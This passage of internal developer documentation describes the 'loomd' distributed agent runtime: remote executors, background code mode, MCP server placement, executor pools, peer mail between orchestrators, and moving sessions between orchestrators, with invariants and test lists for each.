running. A staged, interrupted or aborted call is therefore settled; a call
still running is not. The host retires the row on the acknowledgement and keeps
a tombstone for the key until the scope's incarnation changes, so a `Run` for
an acknowledged key, which a dead runtime's effect process can still have in
flight, is answered `RunLost` and never starts (`Existing(Acked)` in
`admit_run`; a `Query` reports `Unknown`).
- **Jobs.** `plane.live_jobs` reads the `job/*` cells from the session's store
and builds the board with `jobs.live_board_of`.
- **Refused or omitted.** Extension tools (`tool_placement` answers `Error(Nil)`,
so none are registered, with one notice per extension installed on the
executor) and operator directory additions (`resolve_directory` refuses).
Owner-bound code-mode capabilities
(`strand.*`, `notes.*`, `schedule.*`, `peer.*`) are answered:
`OwnerServices.capability` is `owner_codemode.answering` over the session's
own Agency, scheduling door and peer wiring, where a local session keeps
`no_capability` because it never calls it.
What `assemble_in` does not do for a registered workspace, and which is why
nothing touches the registered name: `workspace_plane.prepare` is skipped (it
discovers the toolchain, composes the base, creates the blob store, tool
home, tmp and scratch directories, and `blobs.adopt_legacy` does not run); `start_local` is replaced by the attach (the
helper pool, executor, broker, jobs, scratch, LSP and code-mode host live on the
executor); `code_mode_mcp` is replaced by `started_mcp` over only the
orchestrator-placed servers, whose façades the owner port hands the executor
in its `McpPlan`;
extension
discovery and registration are skipped; `resolve` skips `find_helper` and
`gocache.locate`. The rest reads only the orchestrator's own files (session,
index, memory, home, skills), the census, or the executor through the broker
handle. Owner tools still run `wiring.run_tool` here; with no directory
additions and no filesystem grants for them, `revalidate` has nothing to stat.
Invariants:
- One `Surface` per session open. Do not attach per strand or per driver restart.
- The hook wrappers (`hookserve.wire`, `extension/hooks.wire`) must carry
`tools.recover` forward; they run after the surface is composed.
- Anything that puts an absolute deadline in a `CallSpec` for the executor's
broker reads `Half.call_clock`.
- Never write the scope cell while a runtime owns the store.
Tests: `remote/workspace_test` and `remote/scope_test` (real host and ledger, fake
plane via `support/remote_orchestrator`) cover each incarnation shape, token
rotation with recovery, the settled rule, the clock and jobs;
`remote_assembly_test` assembles a whole registered session under custody and
drives a scripted model through a workspace tool and an owner tool.
Routing a workspace tool to the owner path fails `a_workspace_call_runs_on_the_executor_...`,
attaching at the stored incarnation after a clean close fails the reopen tests, and
dropping the clock offset fails `the_non_tool_clock_reads_the_executors_timebase_test`.
## Background code mode and MCP on a registered session (protocol 078 addendum)
The protocol-change/078 addendum "background code mode and MCP façades on a
remote session" is the rule book; `docs/architecture/distributed.md` has the
diagrams. In one paragraph: the orchestrator keeps the execution's durable
record in `async_runs` exactly as a local session does, and the executor only
runs the program, under the ledger key `(session, op, "async/<id>", 0)` with
tool `execution` (`protocol.execution_key`, `protocol.execution_id`).
- **Launch.** `code_mode` with `mode: "launch"` runs on the executor as a tool
call. Its tool shell sends `OwnerMessage.LaunchExecution(terms)` over the
owner link; `owner_port.serve` hands it to `Executions.launch`, which is
`async_codemode.remote`: it claims the record (`Starting`, with
`Launch(step, source_index)` naming the launching call, F5) through
`async_runs.launch_fallible`, and the record's worker calls
`HostLink.start`, i.e. `surface.start_execution`, which sends
`StartExecution(key, incarnation, token, terms, remaining_ms)` and repairs a
dropped connection with the same start forever. The host admits the key
through the same `admit_call` a `Run` uses, runs `Plane.execute` (the
executor's `codemode.execute` under step `async/<id>`), commits the stored
value before any reply, and answers `ExecutionFinished`, `ExecutionLost` or
`ExecutionRefused`. A result larger than
`Config.execution_result_bytes` (1 MiB, the reservation per row, per
executor) is stored as an errored value naming its size.
- **Interact.** `check`, `send`, `join` and `cancel` run on the executor as
tool calls too (`code_mode` is placed there by name) and cross as
`InteractExecution`, which `async_codemode.interact` answers from the
record. They wait out a link cut like any tool call; that is a documented
limit.
- **Owner-bound calls from the program** carry step `async/<id>`.
`owner_codemode.answering_executions` binds them to the record (it must be
starting or running, the call's strand and operation, and name its launching
call) and answers with the arms a local background program gets; a closed
record is refused `execution_closed`, a missing one `execution_unknown`.
`owner_link.patience` (F1): `execution.receive*` waits out a cut within its
own `within_ms` and then answers "no input yet" (`CapOk(NilValue)`);
`execution.ready`, `progress` and `delivery` wait up to the 120-second
capability budget and then deny; every other owner-bound call is denied at
once as before. Waiting is safe only because each of those calls may be sent
twice.
- **Stop.** A record closes on a recorded decision only (cancel, abort, stop,
deadline, idle, restart). `async_runs.Wiring.abort` is then
`Hands.stop_execution`, a `StopExecution` cast: `exec_ledger.stop_or_fence`
turns an admitted row unknown (`Stopped`) or bars a missing key (`Barred`) in
one transaction, and the host halts the program with `Plane.abort_step`.
`noconnection` never stops anything.
- **Reconcile.** `owner_port`'s reconciler lists running executions with
`HostLink.list` (`Unacked.executions`) and stops each whose
`Executions.standing` is not `RecordLive`; it acknowledges an execution row
only when `workspace.settled_by_kind` finds the record `RecordClosed`, so a
value the worker has not read is never discarded.
- **Recovery.** After an orchestrator restart `async_runs` asks
`Wiring.surviving_value`, `AskWhere(read)` for a remote session
(`Hands.execution_lookup`, `surface.query`, 5 s), about each record still
starting or running: `Lookup.Executed(value)` keeps it finished, anything
else loses it and stops it. The questions run all at once in a weft run
beside the service (`ask_survivors`), and their answers arrive as
`Recovered` messages, so the service answers checks and launches while an
executor is unreachable; such a record reads as running until its answer
lands. A local session's `NothingSurvives` loses every unfinished record
before the service serves any request.
- **MCP placement.** `catalog.McpServer.runs_on` is `RunsOnOrchestrator`
(default) or `RunsOnExecutor`. For a registered session `serve` starts only
the orchestrator-placed servers, gives the owner port their façades as
`McpPlan.served` and the executor-placed names as `McpPlan.expected` (the
executor's plane build asks for it with `AskMcpPlan`), and logs each
`remote_census.McpStatus` as `mcp.ready` / `mcp.unavailable` with
`placement: executor`. The executor starts expected servers from its own
`[mcp.<name>]` table (`executor_plane.Machine.mcp_servers`,
`catalog.parse_mcp`), refusing a missing one with "this executor declares no
[mcp.<name>] table", and answers their calls locally
(`owner_codemode.over_owner_serving`). The executor's client is filed under
`custody.Mcp`; closing kills the server at once and a process whose exit is
not witnessed within 5 s is logged
`executor.mcp_retirement_unconfirmed`, never counted as `UnknownCleanup`. The
plan is fixed for an incarnation: a `Rebound` attach keeps the plane's plan
and census.
Invariants that break things when violated:
- The record is claimed before its worker starts, and every close decision is
durable before the stop is sent; a stop is always a cast that the reconciler
repeats.
- Never acknowledge an execution row whose record is live
(`settled_by_kind`), and never stop a program on `noconnection`.
- `StopExecution` must bar a key with no row, or a start a dead worker sent
before the record closed runs the program after it was cancelled.
- Only the `execution.*` calls named in `owner_link.patience` may wait out a
cut; anything not idempotent or keyed keeps the immediate denial.
Tests: `remote/host_execution_test` (admission, finish, stop and fence,
oversized values, restart), `remote/owner_link_test` (F1 over a real link
cut), `remote/owner_port_test`, `remote/workspace_test`
(`settled_by_kind`), `async_runs_test`, `agency_test` (F5),
`owner_codemode_test` (an executor-placed server answered locally),
`catalog_test`, `mcp_test`, `remote/codec_test`; across two shipped daemons,
`daemon_shipped_remote_background_test` (input, progress, a cut link, an
executor restart, an orchestrator restart that keeps a finished value) and
`daemon_shipped_remote_mcp_test` (each placement and a missing executor
table). The P model `protocol/models/remote-execution` covers the execution
path with mutants M8 to M12.
## The executor role (protocol 078)
A `loomd` whose `--config` file has `[distribution]` and at least one
`[workspaces.<name>]` row serves those checkouts to the peers it pins.
- `client/workspaces` decodes `[workspaces.<name>]` (`root` only: absolute, no
`..` segment) the way `client/executors` decodes executors, and requires
`[distribution]`. `catalog.parse` validates it; `catalog.parse_lsp` reads only
the `[lsp.<name>]` tables because an executor has no model catalogue. A new key
means `workspaces.row`, `scripts/config_keys.sh` and `docs/configuration.md`
move together.
- `client/executor_plane` is the real `PlaneFactory`. `machine` reads this
executor's own settings once (`--helper`, `--config`, `--codemode-seed`,
`--best-effort`, `--full-enforcement`, `--read-scope`, `--network`,
`LOOM_HELPER_POOL`, `LOOM_DISABLE_TOOLS`, and the `[tools]`, `[workspace]`,
`[lsp]`, `[jobs]`, `[secrets]` tables). `factory` resolves the workspace name
against the rows, canonicalizes the root, creates `<state>/scopes/<session>`
fresh (the helpers' scratch lives there; the session name is validated before
it names a path), creates the session's blob store (below), and calls
`workspace_plane.prepare` then `start` with the
`OwnerServices` from the `AttachSpec`, `owner_codemode.over_owner` as the
owner's code-mode arms and `codemode_wiring.seam` with
`owner_codemode.advertising_peers` as the `code_mode` tool. The census it
returns is
`RemoteCensus` (plain data plus the broker's subject; the prompt facts are read
once, at attach). `workspace_plane` itself is unchanged apart from `WorkspaceSpec.blob_root`.
- **A remote session's blobs.** They live in `<state>/blobs/<session>`, passed as
`WorkspaceSpec.blob_root`. Not in `<state>/scopes/<session>`, which is removed
when a scope retires cleanly while a reopened session must still read the
blobs its transcript names; and not in the checkout, for the reason the
daemon keeps its own out of the workspace. `blob_directory` validates the
session name like the scope directory does and creates the store private if
it is not there, adopting it if it is, and nothing removes it. The base the
factory composes carries `workspace_policy.protecting_blobs` for it, so every
jail on the executor masks it (the state-root masks name the entries the
daemon writes, not this directory), and `tools/fs` still reads it. The
census carries it (`Census.blob_root`), so the owner sees the root. No
`adopt_legacy`: it copies what an earlier release left in a workspace, and
no release wrote a registered session's store into a checkout.
- The plane's cleanups cannot go to custody, because the factory runs in a
short-lived weft run. The `Retain` it passes files each `(Part, cleanup)` in the
build process and calls `transfer` (unlinking the build from the resource).
`retire` runs them in `instance_owner.Part` order after the language servers
and the scope's children, and reports `AllRetired` only when nothing failed and
the `Helpers` cleanup (`executor.close`, which ends in `exec.close_pool`)
succeeded. No helper cleanup means `UnknownCleanup`. The scope directory is
removed only on `AllRetired`.
- `daemon/main.start_executor` starts `remote/host` under `address.default()`
with the ledger at `<state>/exec-ledger.db`; a daemon with no rows starts
nothing. The host is unlinked and monitored; its death halts the daemon.
Rows are checked to be directories at startup (`existing_roots`) and again at
each attach.
Tests: `executor_plane_test` runs the factory over a temp checkout with the
shipped helper (write then read, `bash`, close then reopen, a blob written in
one incarnation read after the reopen and kept out of the checkout, an unknown
workspace, the census walk for function values and its `term_to_binary` round
trip, an 8 MiB read, the `code_mode` description listing the owner-bound
capabilities where a seed exists, a real program whose `strand.roster` and
`notes.put` reach the owner's Agency through the owner port where the host
has a jail, and `retire` with injected cleanups). `daemon_executor_test`
covers the boot decision. `remote_nodes_test`'s `remote_workspace` scenario
serves a real workspace to a second node. Making `retire` ignore the helper
witness fails `a_scope_with_no_helper_cleanup_has_no_witness_test`; building the
plane back inside the host actor fails the two build-isolation tests in
`host_test`.
## Executor pools (protocol 078)
A session may be created in a `[pools.<name>]` instead of on one executor
(`sessions.create{pool}`, exclusive with `executor`). The executor is chosen when
the session first opens and then never again.
- `client/executors` also reads the optional declarations of a row: `platform`
(`<os>/<architecture>`, the label `system_prompt.platform` writes),
`enforcement` (`enforced` or `degraded`, the census's `PromptFacts.helper`) and
`toolchains` (`codemode` or an `[lsp.<name>]` key). They are the operator's
claims. `executors.contradiction(row, observed)` compares them with what an
attach census says and words both values; a row that declares nothing, or that
provides more than it declared, is never contradicted. `client/pools` reads
`[pools.<name>]` (`executors` in trial order, plus the same three keys as
requirements) and `pools.candidates(pool, configured)` is the whole filter, a
pure function of configuration: an executor that declared nothing cannot
satisfy a requirement. `catalog.parse` validates both tables.
- `workspace.attach` is the placement loop (read its module doc for the order of
steps). The scope record names the executor, and it is written after the
connection and before `Attach` is sent. That one ordering is what makes "a
session whose record names an executor has only that candidate" structural, and
a reply lost after delivery is retried against the same machine, where the
ledger's `Rebound` arm makes it converge. A first open (no record) goes to the
next candidate on exactly two outcomes, both of which prove no scope exists: the
connection failed, or the executor answered `CapacityExhausted` (decided inside
the attach transaction before any plane is built). After the capacity refusal
the record is cleared. A capacity refusal at reopen, an unanswered attach, a
version or workspace refusal and a build failure all fail the open and leave the
record where it is. The census is compared with the declaration after the attach;
a contradiction asks the executor to close the scope and fails the open.
- `workspace.Placement` is three functions so that the configuration and the
catalogue stay outside this module: `first` (the candidates for a session with
no record, or why there are none), `named` (a configured executor by name, for
a record that names one) and `chosen` (told the executor after every successful
attach, because an earlier open whose reply was lost may have named it without
the catalogue hearing). `workspace.fixed` and `workspace.pooled` build them.
`chosen` is `manager.seed_executor`, a cast that runs `catalogue.seed_executor`
in the registry's turn, which writes the `executor` column once, only for a
registration with a pool and no executor.
- The catalogue is at version 15 (v13 adds `catalogue_session_moves`, the
custody of a session moving between orchestrators, read with
`catalogue.custody`; v14 adds the deletion mark; v15 adds `catalogue_delegate_sessions`, read by the
registry's `movable` check and written by `manager.delegate_session`).
`Registration.pool` is part of the creation
request and `reserve_creation` compares it, and for a pooled request it does not
compare the executor, which is the first open's choice (`named_same_executor`).
`view_json` adds `executor` and `pool` members only when non-empty. The control
decoder refuses `executor` with `pool`, a `workspace_private` scope and a
workspace that is not a registered name; `server.create_session` answers
`pool_unknown` for a pool the daemon does not configure.
- `LOOM_EXECUTOR_MAX_SCOPES` (`executor_plane.scope_limits`) lowers the number of
scopes an executor admits before refusing an attach; the ledger default is 16.
It is how a test makes an executor full.
Tests: `remote/placement_test` runs real hosts and ledgers, each with a limit of
one scope and its own name, in one VM, and covers the order, a connection that
fails, a pool full everywhere (the record is withdrawn), a reopen into a full
executor, a bound executor that is down, a link that breaks after the attach was
delivered (`remote_orchestrator.lossy_link`), and declarations the census
confirms and contradicts. `daemon_registered_test`, `daemon_protocol_test`,
`executors_test` and `pools_test` cover the wire and the tables, and
`daemon_shipped_remote_pool_test` boots an orchestrator and two executors with
`support/remote_daemons.trio`. Dropping the record write before the attach fails
five tests of `placement_test`, and letting a reopen treat a capacity refusal as
"next" fails `a_reopen_into_a_full_executor_never_moves_to_another_test`.
## Two orchestrators (protocol 078, phase 3)
A deployment may run two orchestrators, each with its own catalogue. A session is
created on, and owned by, the orchestrator the client is connected to, and a
daemon asked about a session its catalogue lacks asks the others which one holds
it. The decision is the owner's option C: a Khepri-shaped directory interface
backed, for now, by a parallel lookup over pinned peers; each catalogue stays the
source of truth; phase 5 added the write half (`activate`) and kept the catalogues
as the authority (the next section); failover is deferred.
- `client/orchestrators` decodes `[orchestrators.<name>]` (`node`, which must be a
`[[distribution.peers]]` node as an executor's must, and an optional `address`
held to `host/claim.remote_address`, so a bearer never goes over cleartext to a
remote host or into a URL with credentials). Two names for one node are
refused. `catalog.parse` validates it and `daemon/main.prepare_startup`
captures it in `Config.orchestrators`; a new key means `orchestrators.row`,
`scripts/config_keys.sh` and `docs/configuration.md`.
- `remote/address` is `Address(message)`: the node and a `Name(message)`, no longer
pinned to the executor host's `HostMessage`.
- `remote/orchestrator_port` is the answering end: one weft actor per daemon under
the fixed name `loom_orchestrator`, with its own closed `Message` (`Owns(session,
reply)`) and `Ownership` (`Owned | NotOwned`). It reads the catalogue through a
function `daemon/main.catalogue_holds` builds over `manager.get`: a registration
in any state and either visibility is `Owned`, a missing one `NotOwned`, and a
read that fails sends nothing, so the asker's deadline reports it as unreachable
and a fault is never mistaken for proof. `daemon/main.start_orchestrator_port`
starts it, linked to the process that runs the daemon's services, whenever
`[distribution]` is present, whether or not the daemon lists any orchestrator.
`ask` takes the monitor before it sends, as `surface` does, so a node that is
already gone ends the wait at once.
- `client/session_directory` is the interface: `Directory(lookup)` answering
`Ok(Here)`, `Ok(Elsewhere(Orchestrator))`, `Error(Unknown)` or
`Error(Unreachable(names))`. `peers` is the phase 3 backing: the local
catalogue first, then every configured orchestrator at once in one weft run
under `deadline_ms` (2 s), each task `distribution.connect` then
`orchestrator_port.ask`. `decide` is the pure policy: the first holder in
configuration order wins over any silence; with no holder, any silence makes the
miss `Unreachable`; only a full set of "not held" is `Unknown`. A callback that
crashes or runs past the deadline is silence. Nothing is cached, registered or
retried, and no connection is made at startup. One command retries:
`peers.link` has no outbox and no client retry behind it, so a link whose
lookup finds the owner silent calls `Directory.settle` (`settle_over`: every
listed orchestrator connected at once under `settle_ms`, 5 s) and asks once
more, because the silence may be a first TLS handshake that outlasted the
lookup's `connect_ms` (1.5 s) and finishes in the background
(`daemon_shipped_peer_mail_test`'s slow-handshake test).
- `daemon/server` takes the directory as `Config.directory`
(`session_directory.none()` when there is no distribution or no orchestrator).
`dispatch` runs `sessions.get` and `sessions.open` as it always did and, only
when the answer is `not_found` and the principal is the owner, asks the
directory (`redirected`): `Elsewhere` becomes `not_owner` with `orchestrator`
and the row's `address`, `Unreachable` becomes `owner_unreachable` with
`orchestrators`, and `Here` or `Unknown` leave `not_found`. A member is always
`not_found` and the directory is not asked, because a member's standing is the
owning daemon's to judge; a stale epoch is refused before the lookup. Control
refusals are the `Refused(code, message, detail)` record, whose `detail` is
empty except for these two, and `refusal_with` writes the members.
Not built, on purpose: a merged `sessions.list`, a `register` step (ids are UUIDv7
and creation is local), a `not_owner` on the session socket, an address advertised
by the owner, any automatic follow (a client would need a credential for a second
daemon), and a new constructor on `remote/protocol.HostMessage`.
Peer mail across orchestrators (protocol-change/078, the peer mail addendum). The
only same-node assumption in peer mail was the recipient's `peer_mail.Endpoint`,
so the work is a second kind of endpoint and a directory that returns it:
- `orchestrator_port.PeerCommand(session, command, reply)` is a second `Message`
beside `Owns`. `served` names every `peer_mail.Command` constructor and accepts
only `Allow`, `Revoke`, `Deliver`, `SentReceipt` and `Roster`; any other
(`Inbox`, `History`, `Link`, `Describe` (the write of the recipient's own
self-description), `Outbox*`, ...) is answered `Refused(peer_unserved)`
without calling the handler, and a new `Command` constructor is a compile error
there until someone decides. The handler is the `start_serving` argument;
`start` keeps its signature and refuses every peer command.
`daemon/main.peer_command` is the production handler: `manager.resolve`, then
the resident's own endpoint. A session not resident here answers
`peer_mail.not_open_reason` when this catalogue holds it and
`peers.not_running` when it does not. The command is plain data. The port runs a
command in its own loop, so a wedged session delays the next `Owns` by at most
the Agency's 5 s holder timeout.
- `orchestrator_port.Describe(session, reply)` is a third `Message` (a constructor
an older port lacks raises `case_clause` and halts it, and a new
`peer_mail.Command` would too, since `served` has no catch-all, so the port
assumes same-build peers): what this
daemon's catalogue says about a session, answered in the port's own turn by the
`start_with` argument `Describer` (`server.local_description`, which is
`manager.get` and `view_json`, and `moved` for a tombstone). It never opens the
session, so a saved one is described. `start`, `start_serving` and
`start_importing` refuse every description with `peer_unserved`.
`orchestrator_port.ask_description` is the asking end.
- `remote/remote_peer` builds the other end. `at(address, session, within_ms)` is
an `Endpoint` whose `call` monitors the port (`address.watch`) before it sends,
then waits for the answer, the `DOWN` or the deadline: an answer is `Ok` or
`Refused`, except that the text `peer_mail.not_open_reason` is `NotOpen`
(`failure_of`, the one place the wire text becomes the variant);
`noconnection`, `noproc` and the deadline are `Unreachable`. `wait_ms` is the
bound: `read_ms` (2 s) for a `Roster`, `call_ms` (7 s) for everything else.
`over_distribution(membership)` resolves the pinned peer, connects (1.5 s) and
asks with `call_ms` (7 s). A reply after the deadline reaches nobody, which is
the lost-reply case the outbox expects: the retry gets `same_receipt`.
- `session_directory.Directory` has a second field, `reach(orchestrator, session)
-> Endpoint`, and a third, `describe(orchestrator, session) ->
Result(JsonValue, String)`. `none()` and `peers()` give an endpoint that is
always `Unreachable` and a description that is `owner unreachable`;
`with_reach` and `describing` set them, and `daemon/main.session_directory_of`
sets `remote_peer.over_distribution` and `session_directory.description_over`
(2 s once connected).
- `peers.routed(local, sessions)` is the one `Directory.resolve` both
`server.peer_directory` (control commands, the web page) and
`main.peer_directory_across` (a session's tools and drainer) use. A session
resident here is answered by `local` and the directory is not asked. Only a
miss calls `lookup`: `Elsewhere` gives `reach`, `Unreachable` gives
`peer_mail.Unreachable`, and `Here` or `Unknown` keep `local`'s failure. `local`
is `server.local_peer`, which knows the difference: `NotOpen` when this
catalogue holds the session and it is not resident, `Refused` when it does not.
`main.peer_directory` keeps its two-argument form with `session_directory.none()`.
`peers.described(local, sessions)` is the same shape for `Directory.describe`:
this catalogue's row first (`server.local_description`), otherwise the owner's
through `sessions.describe`, `owner unreachable` when no owner could be asked.
- `LinkPeers` resolves its target through the directory, so `peers.link` writes
the grant on the recipient's orchestrator (`Allow`). `unlink_session` revokes
there (`Revoke`), and an unreachable revoke is reported in `recipient_grant`.
`peer.sent_receipt` asks the recipient's orchestrator (`SentReceipt`) when the
sender's own row has no receipt.
- Peer mail reach (the peer mail reach addendum). A recipient on another
orchestrator lists as a local one does. `peers.roster` asks the owner's
`Roster` and reads `Error(NotOpen)` as `running: false` with `exported_strands`
null; an owner that does not answer leaves `running: true` and an `unavailable`
object, and metadata `unavailable` too, so one silent owner never fails a
listing. `peers.inspect` takes `wake` from the same `Roster`. The owner lists
only the strands the recipient granted the asking session, the sender asks only
about sessions its own links and grants name, and a default link
(`[peers] default_links`) joins the sessions of one daemon only.
- A recipient its owner holds saved is `NotOpen` and is queued, not refused, here
and on another orchestrator alike (`server.standing` classifies a non-resident
session as `Unopened`, `Handed` (a tombstone; waits, so the next lookup follows
the move), `Archived` (refused: opening needs a restore) or `Unheld`): `peers.deliver` maps it to
`peer_outbox.NotOpen`, the row stays `pending` waiting for an open, and the
send answers `peers.queued_unopened`. Each attempt resolves the recipient
again, so a moved session is followed to its new owner and a deleted one is
refused `not_running`. protocol-change/077 refused this; its addendum in 078
records the change. The drainer's backoff and the two refusal texts are in the
sender outbox paragraph above.
Tests: `orchestrators_test` (the table), `remote/orchestrator_port_test` (the
answers and the silence), `session_directory_test` (the policy, the fan-out's
concurrency and its deadline, a crashing question), `daemon_directory_test` (a
stub directory behind the real control socket: which commands ask, which
principals are redirected, what the refusals carry; and `catalogue_holds` against
a real registry including a reserved and an archived row),
`daemon_shipped_directory_test` (two shipped daemons), `peer_remote_test` (two
real ports in one VM: link, send, receipt and unlink across them, the refused
commands, an unreachable then returning owner under the drainer, a lost reply,
the roster and description of a resident and a saved remote session, a hidden or
unlinked one staying hidden, a send to a saved remote session waiting then
delivered once, expiry, deletion and a move while waiting),
`daemon_peer_lookup_test` (the real registry: `local_peer`, `peer_command` and
`local_description` for a held, an unheld and a tombstoned session), and
`daemon_shipped_peer_mail_test` (two shipped daemons: a send to a stopped
orchestrator is queued and delivered once, and a session stopped on the other
orchestrator is described, listed, queued to and delivered to once it is opened,
over the fixture in `support/remote_duo`).
## Moving a session between orchestrators (protocol 078, phase 5)
An owner hands a session on an executor to another orchestrator with
`sessions.move`. Two catalogue rows are the authority, the source's `moving` and
`moved` and the receiver's `imported`, ordered by a write-ahead intent. No third
store decides and the executor records no owner; its incarnation fence is a second
guard, because a copied cell makes the receiver attach at `incarnation + 1` and
the executor refuses the old token by value. The storage half is in
`packages/storage/CLAUDE.md` (`Custody`, `export_closed`, `release_export`,
`domain.import_session`). `docs/design-notes/distributed-runtime.md` section 8 and
the protocol-change/078 addendum on moving a session have the protocol.
- `session_move` is the vocabulary and nothing else: the six `Step`s, the `Manifest`
(the registration without its path and configuration, which name files on the
source's machine), `Chunk`, `Activation`, `Stage` (`Absent | Received |
Activated`), `Verdict` (`Accepted | Refused(Refusal) | Failed`) and the file and
lease-owner names. It performs no I/O, so the mover, the importer and the port
import it without importing one another.
- `daemon/manager` carries the catalogue half. `begin_move` commits `moving` and
cancels the slot in one registry turn, so nothing can open the store after the
intent. `prepare_slot` reads the custody row and refuses `moving` and `moved`
(`SessionMoving`, `SessionMoved`); archive, restore and delete refuse them too
(`AdminMoving`, `AdminMoved`). `movable` refuses a session with no executor, an
archived one and a reserved one (`AdminNotMovable`). `finish_move`, `abort_move`,
`moving_sessions` and `custody` are the mover's reads and compare-and-sets, and
`import_session` registers, records the import and renames the copy into place
in one turn, finishing the rename for a repeat and removing a late duplicate
instead of putting it over the placed file. It reads whether the import already
committed before it checks for an open slot, and `AdminBusy` refuses a first
import only.
- `remote/orchestrator_port` gains `Import`, `ImportStatus` and `Activate` beside
`Owns`, and `Ownership` gains `Moved(to)`. The daemon supplies an `Importer` of
three functions, so the port knows neither the catalogue nor the filesystem. A
daemon that never receives sessions starts the port with `declining()` and
refuses all three. Pieces and the status run in the port's own turn, so the
pieces of one copy land in order; `Activate` hashes and opens a whole file, so it
runs in a task linked to the port and cancelled with its requester, and `Owns` is
never kept waiting behind it.
- `session_directory` is `Directory(lookup, activate)` and `Courier(send, stage)`.
A catalogue's own tombstone answers `lookup` as `Elsewhere` with no question to a
peer, and a peer's tombstone redirects when nobody holds the session. The
courier and `activate` are built over the pinned connection, one connection
attempt per call, as `over_distribution` is.
- `session_importer` is the receiving end. `take` writes pieces to a `.part` file
that becomes the copy only when the last piece lands; a piece that does not
start where the file stands is `OutOfOrder` and the sender begins again.
`activate` asks the registry first, and a repeat of the same move is answered
`Accepted` without looking at the copy or at who asks, using the origin the row
recorded (an operator who renamed the sender's `[orchestrators]` row meanwhile
changes nothing). Only then does it check the sender's node against
`[orchestrators.<name>]`, then the digest, then the scope cell read from a
scratch copy (opening a session file rewrites it), then the executor row, and
only then hands the registry the import. A copy refused for a reason a resend
cannot cure is removed. `stage` returns `Result(Stage, Nil)`: a registry read
or a copy path that cannot be examined is `Error(Nil)` and the port sends no
reply, because `Absent` would make the source send the file again to a receiver
that may hold the session, and `Activated` over an unexamined path could let the
source retire while a copy still waits.
- `session_mover` is the source's driver. `drive` takes the steps in order and every
run starts from what is on disk: it reads the row, asks the receiver how far the
move has got, and does what remains. A move finishes, is abandoned only on an
answer, or stalls. `Abandon` comes from an unproven cleanup, an executor that
refused the close, a corrupt or oversized file, a receiver's `Refused` and
nothing else; silence is `Stall`, because an unreachable receiver may have
activated the session. A digest the receiver refuses, or a copy it no longer has,
sends the whole file once more. A send that finds the receiver's stage
`Activated` goes straight to the retirement. Each step is bounded by a weft deadline of its
own (`Budget`), and an expiry is a stall. `Environment.after` is told after each
step; a daemon passes the crash knob and a test passes a recorder.
- `session_movers` is the daemon's actor, started beside the orchestrator port and
linked to the process that starts the daemon's services. `Control` carries the
listed orchestrators, `begin` and `holds` (the ask of an origin's port). One entry per session;
`Begin` starts a mover once, a tick runs a stalled one again, `resume` begins every
`moving` row at boot. It is not the registry, whose turns are bounded by five
seconds while a move waits an executor's minute.
- `remote/workspace.close_stopped` closes the scope of a session that has no
runtime and tells `CloseRefused` (final) from `CloseUnanswered` (retried). A
repeated Close at a closed scope answers the stored outcome (`remote/host`), which
is how a restarted mover learns a lost reply had landed.
- `daemon/server` has `sessions.move` (owner, epoch, destination in
`Config.movers.orchestrators`, then `inbound_settled` for an imported session,
then `manager.begin_move`, then
`Config.movers.begin`), the `moving` and `moved` members of `sessions.get`
(`with_custody`) and of every `sessions.list` record (`listed_json`, which reads
one `manager.custodies` for the page and encodes with the same
`custody_members`), `moving` on `open` (`in_flight`), and `not_owner` from the
tombstone for open, archive, restore and delete (`tombstoned`). `daemon/main`
builds the movers in `start_movers`, gives the port its importer, and reads
`LOOM_MOVE_CRASH_AFTER`.
`LOOM_MOVE_CRASH_AFTER=<step>` is **test-only**: it halts the VM the moment the
named step (`intent`, `close`, `cut`, `send`, `activate`, `retire`) is durable,
so `daemon_shipped_remote_move_test` can lose the source at each step. It is read
once at startup, is not a configuration key, and is not an operator setting.
Invariants that break things when violated:
- Once the receiver has committed `imported` under an operation, every `Activate`
for it is answered `Accepted`, whether or not a slot is open, the sender is still
listed, or the copy is still there. The source abandons on any refusal other than
a bad digest or a missing copy, so a refusal after the commit leaves two owners.
`Move.tla` models it as `RefuseUncommitted`, with `MutantRefuse` as its check.
- A move is begun on an `imported` session, and `sessions.delete` removes one,
only after the orchestrator it came from answers `Moved` for it
(`inbound_settled`, through `Control.holds`, outside the registry turn; a move
is refused `not_movable` and a delete `busy`). `begin_move` replaces the
`imported` row and `abort_move` deletes it to `resident`, so a move begun
earlier loses the record the source's retry needs, and a return move meets the
source's own `moving` row. A delete removes the row, so the retry imports the
session afresh. Both daemons would abandon and both would be resident. The
web page's delete in `ui_socket` does not make this check yet. A session
directory member does not apply this hold (next section): the record decides,
and the origin's abandon expects its own `moving` record, so it fails once the
receiver activated.
- The intent is committed in the registry turn that cancels the slot, and admission
reads the custody row in the turn that reserves a slot. Moving the read out of
that turn lets a runtime open a file whose copy is being cut.
- Only an answer abandons a move. An unreachable receiver, an unanswered close and
an expired deadline are stalls. Abandoning on silence can leave two owners.
- The activation is the compare-and-set on the receiver and the retirement is the
one on the source; `moved` has no way out under the same operation, and a
returning move needs a new one.
- The receiver reads the copy's cell from a scratch copy and never from the file it
hashed. A path that holds no file is refused before `scope.read_at` opens it,
because opening creates a missing file.
- A returning session keeps the registration and mapping its catalogue already
has; only the custody row changes.
- The cut reclaims its own lease and nothing else's. `sqlite.release_export` frees
it on abort and before the original is set aside, so a refused move never makes
the owner wait out ten minutes.
Not built, on purpose: a merged list, an owner column on the executor, resume inside
a file, abandoning after a send except on a refusal, failover, a local-session move,
memory-domain, membership and claim transfer, and a web surface.
Tests: `session_move_test`, `session_importer_test` (the pieces, every refusal, a
return trip), `session_directory_test` and `remote/orchestrator_port_test` (the new
answers and messages), `daemon_manager_test` (the registry's half),
`remote/workspace_test` and `remote/scope_test`, `session_mover_test` (two
registries, the real port and an executor host in one VM: every interruption, the
trip there and back, the movers' retry and resume), `daemon_move_test` (the command,
views and refusals across the real control socket), and
`daemon_shipped_remote_move_test` (three shipped daemons, a clean move and the
source lost after each step). The terminal's side is `tui`'s `sessions_move_test`.
## Subagents on another orchestrator (protocol 084, slices S1 to S3)
Slice S1 of phase 1 is the policy and the messages. Slice S2 is the box's side:
the delegate session and the Agency that serves a remote parent. Slice S3 is the
laptop's side: the stub, the sending end, the second drainer, and the Agency's
spawn, wait and roster. A remote child is always detached, so the laptop has no
run-end path. The deadline tick and the retention sweep are
S4, and the shipped two-orchestrator test is S5.
- `spawners` is the `[spawners.<name>]` table, read by `daemon/main.prepare_startup`
into `Config.spawners` and validated by `catalog.parse` too. A `Spawner` has its
`node` (a pinned `[[distribution.peers]]` node no other spawner uses), one
`Placement` (`OnExecutor`, `InPool` or `InDirectory`, resolved against the
